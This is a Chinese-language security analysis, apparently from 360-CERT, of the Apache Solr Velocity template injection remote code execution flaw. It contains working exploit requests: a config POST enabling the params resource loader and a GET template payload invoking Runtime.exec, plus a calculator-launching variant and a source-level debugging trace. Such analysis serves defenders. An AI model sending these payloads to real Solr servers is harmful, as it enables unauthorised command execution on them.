Apache solr 命令执行(Velocity模版注入)分析
2019-11-27 15:08

enter description here 报告编号:B6-2019-112701

报告来源:360-CERT

报告作者:360-CERT

更新日期:2019-11-27

0x00 漏洞描述

360CERT已发布预警:https://cert.360.cn/warning/detail?id=fba518d5fc5c4ed4ebedff1dab24caf2

该报告是对此漏洞的利用分析。

solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果

Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象

Apache Solr基于Velocity模板存在远程命令执行漏洞。该漏洞是由于Velocity模板存在注入所致。攻击者可利用漏洞访问Solr服务器上Core名称,先把params.resource.loader.enabled设置为true(就可加载指定资源),在服务器执行命令。

漏洞环境

https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip

漏洞poc

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/

0x01 环境搭建

进入/bin目录,执行 ./solr -e dih -force -e 是以dih示例配置运行 dih示例

本示例在独立模式下启动 Solr,并启用了 DataImportHandler(DIH),并为 DIH 支持的不同类型的数据(如数据库内容、电子邮件、RSS 提要等)预先配置了几个 dataconfig.xml 示例文件。所使用的 configset 是定制的 DIH,并且在 $SOLR_HOME/example/example-DIH/solr/conf 被发现。有关 DIH 无: 本示例使用托管架构在独立模式下启动 Solr, 如 SolrConfig 中的 "架构工厂定义" 中所述, 并提供极少的预定义架构。solr 将以此配置运行在无模式下, solr 将在模式中创建字段, 并猜测在传入文档中使用的字段类型。 所使用的 configset 可在 $SOLR _home/服务器/SOLR/configsets/_default 中找到。的更多信息,请参阅使用数据导入处理程序上载结构化数据存储数据一节。

接着访问 http://127.0.0.1:8983/ 或者./solr start -p 1234 关闭项目 ./solr stop -p 1234

core实例

简单来说,core就是solr的一个实例,一个solr下可以有多个core,每个core下都有自己的索引库和与之相应的配置文件,所以在操作solr创建索引之前要创建一个core,因为索引都存在core下面

core创建

bin目录下执行./solr create -c test 之后在/solr-8.2.0/server/solr目录下会产生一个test文件夹

0x02 漏洞复现

根据poc来看,需要在第一步设置一些选项 需要开启Velocity模版里VelocityResponseWriter初始化参数的params.resource.loader.enabled选项,该选项默认是false public_image 他允许在solr中加载指定的模版

发送数据包

POST /solr/test/config HTTP/1.1
Host: 127.0.0.1:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

public_image

接着请求

GET /solr/test/select?q=1&=&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 127.0.0.1:8983


public_image

这里做一些解释

  • wt:输出结果格式,通常为json/xml等格式,如果设置值为velocity 则会通过velocity引擎解析
  • v.template:指定要呈现的模板的名称。 poc里定义了名称是custom,那么v.template.custom就是自定义模版的具体内容

0x03 漏洞分析

poc第一步执行流程

配置IDEA进行调试 public_image 同时将启动改为

./solr start -p 8983 -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8983"

public_image 一些路由在server/solr/test/conf/solrconfig.xml下,比如第二步需要请求select

<requestHandler name="/select" class="solr.SearchHandler">
    <!-- default values for query parameters can be specified, these
         will be overridden by parameters in the request
      -->
    <lst name="defaults">
      <str name="echoParams">explicit</str>
      ...

不过没有找到/config,因为这是一个隐式请求,因为它们没有在solrconfig.xml中配置 public_image 具体参考(https://www.w3cschool.cn/solr_doc/solr_doc-3dv92hzk.html) 并且当我们发送poc里的更新请求后, 并不会直接更新solrconfig.xml,而是会在同级目录下生成一个configoverlay.json,比如 public_image SolrConfigHandler的源码在 /solr-core-8.2.0.jar!/org/apache/solr/handler/SolrConfigHandler.class 他继承了RequestHandlerBase抽象类 并且实现了handleRequestBody方法

    public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp) throws Exception {
        RequestHandlerUtils.setWt(req, "json");
        String httpMethod = (String)req.getContext().get("httpMethod");
        SolrConfigHandler.Command command = new SolrConfigHandler.Command(req, rsp, httpMethod);
        if ("POST".equals(httpMethod)) {
            if (configEditing_disabled || this.isImmutableConfigSet) {
                String reason = configEditing_disabled ? "due to disable.configEdit" : "because ConfigSet is immutable";
                throw new SolrException(ErrorCode.FORBIDDEN, " solrconfig editing is not enabled " + reason);
            }

            try {
                command.handlePOST();
            } finally {
                RequestHandlerUtils.addExperimentalFormatWarning(rsp);
            }
        } else {
            command.handleGET();
        }

    }

当进入command.handlePOST();是修改数据,当进入command.handleGET();是查询数据 我们看到handlePOST();方法跟入


        private void handlePOST() throws IOException {
            List<CommandOperation> ops = CommandOperation.readCommands(this.req.getContentStreams(), this.resp.getValues());
            if (ops != null) {
                try {
                    while(true) {
                        ArrayList<CommandOperation> opsCopy = new ArrayList(ops.size());
                        ...

                        try {
                            ...
                            } else {
                                ConfigOverlay overlay = SolrConfig.getConfigOverlay(this.req.getCore().getResourceLoader());
                                this.handleCommands(opsCopy, overlay);
                            }
                            ...

继续跟入handleCommands,此时op变量的值为我们传入的post值,而overlay是当前配置 public_image public_image 首先直接进入了default

    default:
                        List<String> pcs = StrUtils.splitSmart(op.name.toLowerCase(Locale.ROOT), '-');

获取跟元素update-queryresponsewriter,以-作分割进入splitSmart函数 获取第一个值,update 赋给perfixqueryresponsewriter赋给name public_image 同时存在perfixname,进入判断,不是delete,进入update public_image 进入updateNamedPlugin public_image 此时clzsolr.VelocityResponseWriter,跟入verifyClass

        private boolean verifyClass(CommandOperation op, String clz, Class expected) {
            if (clz == null) {
                return true;
            } else {
                if (!"true".equals(String.valueOf(op.getStr("runtimeLib", (String)null)))) {
                    try {
                        this.req.getCore().createInitInstance(new PluginInfo("requestHandler", op.getDataMap()), expected, clz, "");
                    } catch (Exception var5) {
                        op.addError(var5.getMessage());
                        return false;
                    }
                }

                return true;
            }
        }

PluginInfo中,进行数据的赋值 public_image 存储在info中 public_image 接着进入createInitInstance

    public <T> T createInitInstance(PluginInfo info, Class<T> cast, String msg, String defClassName) {
        if (info == null) {
            return null;
        } else {
            T o = createInstance(info.className == null ? defClassName : info.className, cast, msg, this, this.getResourceLoader());
            if (o instanceof PluginInfoInitialized) {
                ((PluginInfoInitialized)o).init(info);
            } else if (o instanceof NamedListInitializedPlugin) {
                ((NamedListInitializedPlugin)o).init(info.initArgs);
            }

            if (o instanceof SearchComponent) {
                ((SearchComponent)o).setName(info.name);
            }

            return o;
        }
    }

solr.VelocityResponseWriter传入createInstance函数进行实例化。 继续跟进,在newInstance中返回实例 public_image 对该类进行赋值 public_image init:

    public void init(NamedList args) {
        ...
        Boolean prle = args.getBooleanArg("params.resource.loader.enabled");
        this.paramsResourceLoaderEnabled = null == prle ? false : prle;
        Boolean srle = args.getBooleanArg("solr.resource.loader.enabled");
        this.solrResourceLoaderEnabled = null == srle ? true : srle;
        this.initPropertiesFileName = (String)args.get("init.properties.file");
        ...

    }

这样,第一步就执行完了,大致流程(自己总结的可能不太好) public_image

poc第二步执行流程

定位到/org/apache/solr/handler/RequestHandlerBase.class:handleRequest 跟到/solr-core-8.2.0.jar!/org/apache/solr/servlet/HttpSolrCall.class:writeResponse:Action()方法 (HttpSolrCall是solr底层发送http请求的中转站)

跟入 public_image 获取了wt的值,为velocity

    protected QueryResponseWriter getResponseWriter() {
        String wt = this.solrReq.getParams().get("wt");
        return this.core != null ? this.core.getQueryResponseWriter(wt) : (QueryResponseWriter)SolrCore.DEFAULT_RESPONSE_WRITERS.getOrDefault(wt, SolrCore.DEFAULT_RESPONSE_WRITERS.get("standard"));
    }

根据velocitygetQueryResponseWriter返回VelocityResponseWriter (我们触发漏洞使用到的类) 赋给变量responseWriter 接着跟进writeResponse public_image 继续跟进writeQueryResponse方法,其中this.solrReq是我们的payload public_image 继续跟到writeQueryResponsewrite方法里 public_image 第一行 创建了一个VelocityEngine实例(VelocityEngine类主要是供一些框架开发者调用的,它提供了更加复杂的接口供调用者选择)我们跟进去看看,首先实例化了一个engine public_image 判断paramsResourceLoaderEnabled是否为true,之前在第一步我们已经将其设置为true,也就意味着允许在 Solr 请求参数中指定模板 public_image 接着进入if判断里的SolrParamResourceLoader方法,并给javaBean赋值 这里获取到了我们payload里的param参数,然后创建了一个Iterator类型的变量names,利用迭代器去取出param里的值,遍历的同时取出v.template.的值,也就是我们的自定义模版 v.template.custom,将其存入templates

接着回到createContext,由于该选项也被设置为true,于是进入判断 public_image 返回一些配置信息,往下走,返回engine,回到write方法,进入getTemplate方法,将engine作为参数传入 public_image 返回了template的名字和我们请求的path public_image 往下走 进入getTemplate (注意:需要导入/contrib/velocity/lib下面的jar包才能进入) public_image 最后处理的template为custom.vm,执行完毕后,返回到write,跟入 public_image 跟到/org/apache/velocity/Template.classmerge方法,有render函数,是渲染模版的,跟入render public_image

JJTree语法树

这一块内容涉及到了JJTree渲染过程解析,下面做一个了解(不全部学习,只看payload中出现的) 这里获取了一个children数组,AST这些东西对应的是JJTree语法树,#set语法对应的Velocity语法树是ASTSetDirective类,也就是图里的,它有两个子节点,RightHandSideLeftHandSide,分别代表"="两边的表达式值,对应这里的leftright,左边的LeftHandSide可能是一个变量标识符,也可能是一个set方法调用,比如#set($var="xxx"),另外是一个set方法调用,如#set($person.name="junshan"),这实际上相当于Java中person.setName("junshan")方法的调用,如何区分,看到下面分析render的步骤就了解了

Velocity通过ASTReference类来表示一个变量和变量的方法调用,ASTReference类如果有子节点,就表示这个变量有方法调用,方法调用同样是通过“.”来区分的,每一个点后面会对应一个方法调用。ASTReference有两种类型的子节点,分别是ASTIdentifierASTMethod。它们分别代表两种类型的方法调用,其中ASTIdentifier主要表示隐式的“get”和“set”类型的方法调用。而ASTMethod表示所有其他类型的方法调用,如所有带括号的方法调用都会被解析成ASTMethod类型的节点

所谓隐式方法调用在Velocity中通常有如下几种。

1.Set类型,如#set($person.name=”junshan”),如下:

person.setName(“junshan”)
person.setname(“junshan”)
person.put(“name”,”junshan”)

2.Get类型,如#set($name=$person.name)中的$person.name,如下:

person.getName()
person.getname()
person.get(“name”)
person.isname()
person.isName()

下面的ASTText属于叶子结点,它位于树的叶子上,没有子节点,这种类型的节点要么直接输出值,要么写到writer中,如ASTText public_image public_image

set($x)的执行

目的仅仅是分析执行代码的流程,为了方便,我修改了poc将其改为弹calc

/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($ex=$rt.getRuntime().exec(%27open /Applications/Calculator.app/%27))

然后依次执行当前节点的所有子节点的render方法,每个节点的渲染规则都在render方法中实现,如果是ASTReference类型的节点则在render方法中会调用execute方法执行反射替换相关处理 public_image

这里调用ASTSetDirective节点的render public_image

Object var4 = this.right.value(var1);

这一段代码获取了右边表达式的值,此时是"",是一个空字符串,接着根据左边是否有子节点判断是变量标识符还是调用set方法,调用ASTStringLiteralvalue方法,盲猜是获取字符串的值

最后调用ASTReferencesetValue public_image

调用InternalContextAdapterImple的put方法将x和x的值存入,是一个能存储上下文的适配器 public_image 然后返回,继续遍历调用render

set($rt)的执行

根据set,调用ASTSetDirective节点的render方法进行渲染,到

Object var4 = this.right.value(var1);

因为$x是ASTReference类型 所以此时调用ASTReference节点的value方法,接着调用ASTReferenceexecute进行反射/内省,跟入 public_image 传入两个参数,一个是全局上下文,一个是要获取的rootString,这里就是x,执行结果就会返回上一次render的x值。 继续走,有两个子节点,分别是classforName对应的两个节点,然后做一个for循环,一次对子节点调用execute进行反射/内省,这里传入了var4也就是x的值 public_image ASTIdentifier的execute方法(ASTIdentifier主要表示隐式的“get”和“set”类型的方法调用)执行完后,返回了class java.lang.String, 接着进行下一次循环,也就是ASTMethod的execute方法(ASTMethod表示所有其他类型的方法调用,如所有带括号的方法调用都会被解析成ASTMethod类型的节点) 在execute里会执行

                Object var7 = var13.invoke(var1, var3);

var13是UberspectImpl里面存储着反射的类信息,传入var1是java.lang.String,var3是 public_image 跟入后,在doInvoke返回java.lang.Runtime public_image

set($ex)的执行,不细跟

这里就不再继续跟了,最终反射的调用还是在doInvoke这个位置,造成了exec的执行 public_image

最终调用链如下 public_image

输出AST

我们的poc执行的AST全部情况如下,非常的直观明了 public_image

附上代码

package hu3sky.Velocity.com;

import org.apache.velocity.runtime.parser.CharStream;
import org.apache.velocity.runtime.parser.Parser;
import org.apache.velocity.runtime.parser.VelocityCharStream;
import org.apache.velocity.runtime.parser.node.SimpleNode;

import java.io.ByteArrayInputStream;

public class Velocity {
    public static void main(String[] args) {
        String temp = "#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($ex=$rt.getRuntime().exec('open /Applications/Calculator.app/'))";
        CharStream stream = new VelocityCharStream(new ByteArrayInputStream(temp.getBytes()), 0, 0);
        Parser t = new Parser(stream);
        try {
            SimpleNode n = t.process();
            n.dump("");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

0x04 Reference